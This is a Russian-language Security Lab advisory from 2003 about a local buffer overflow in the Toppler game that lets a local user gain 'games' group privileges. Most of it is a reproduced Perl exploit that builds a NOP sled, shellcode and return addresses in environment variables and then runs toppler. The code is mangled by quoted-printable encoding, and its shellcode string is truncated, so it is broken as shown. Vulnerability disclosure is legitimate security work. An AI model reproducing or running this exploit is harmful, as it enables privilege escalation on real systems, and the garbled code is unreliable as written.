Security Lab

Переполнение буфера в Toppler

Дата публикации:05.03.2003
Всего просмотров:1021
Опасность:
Низкая
Наличие исправления: Нет
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная
Воздействие: Повышение привилегий
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: Toppler 0.x
Описание: Переполнение буфера обнаружено в Toppler game. Локальный пользователь может получить дополнительные привилегии.

Локальный пользователь может представить специально обработанный аргумент программе toppler, чтобы заставить ее выполнить произвольный код с привилегиями 'games' группы. Эксплоит:

#!/usr/bin/perl
#kokanin@dtors.net playing a game
#hi bob
$len =3D 1024;
$ret =3D 0xbfbffd31;
$nop =3D "\x90";
$offset =3D 0;
$shellcode =3D =
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xD9=
\x9d;

if (@ARGV =3D=3D 1) {
    $offset =3D $ARGV[0];
 
 =20
for ($i =3D 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .=3D $nop;
 
=20
$buffer .=3D $shellcode;

$new_ret =3D pack('l', ($ret + $offset));
=20
for ($i +=3D length($shellcode); $i < $len; $i +=3D 4) {
    $buffer .=3D $new_ret;
 

local($ENV{'EGG'}) =3D $buffer;=20
local($ENV{'DISPLAY'}) =3D $new_ret x 64;=20

exec("toppler 2>/dev/null");
Ссылки: gid games via toppler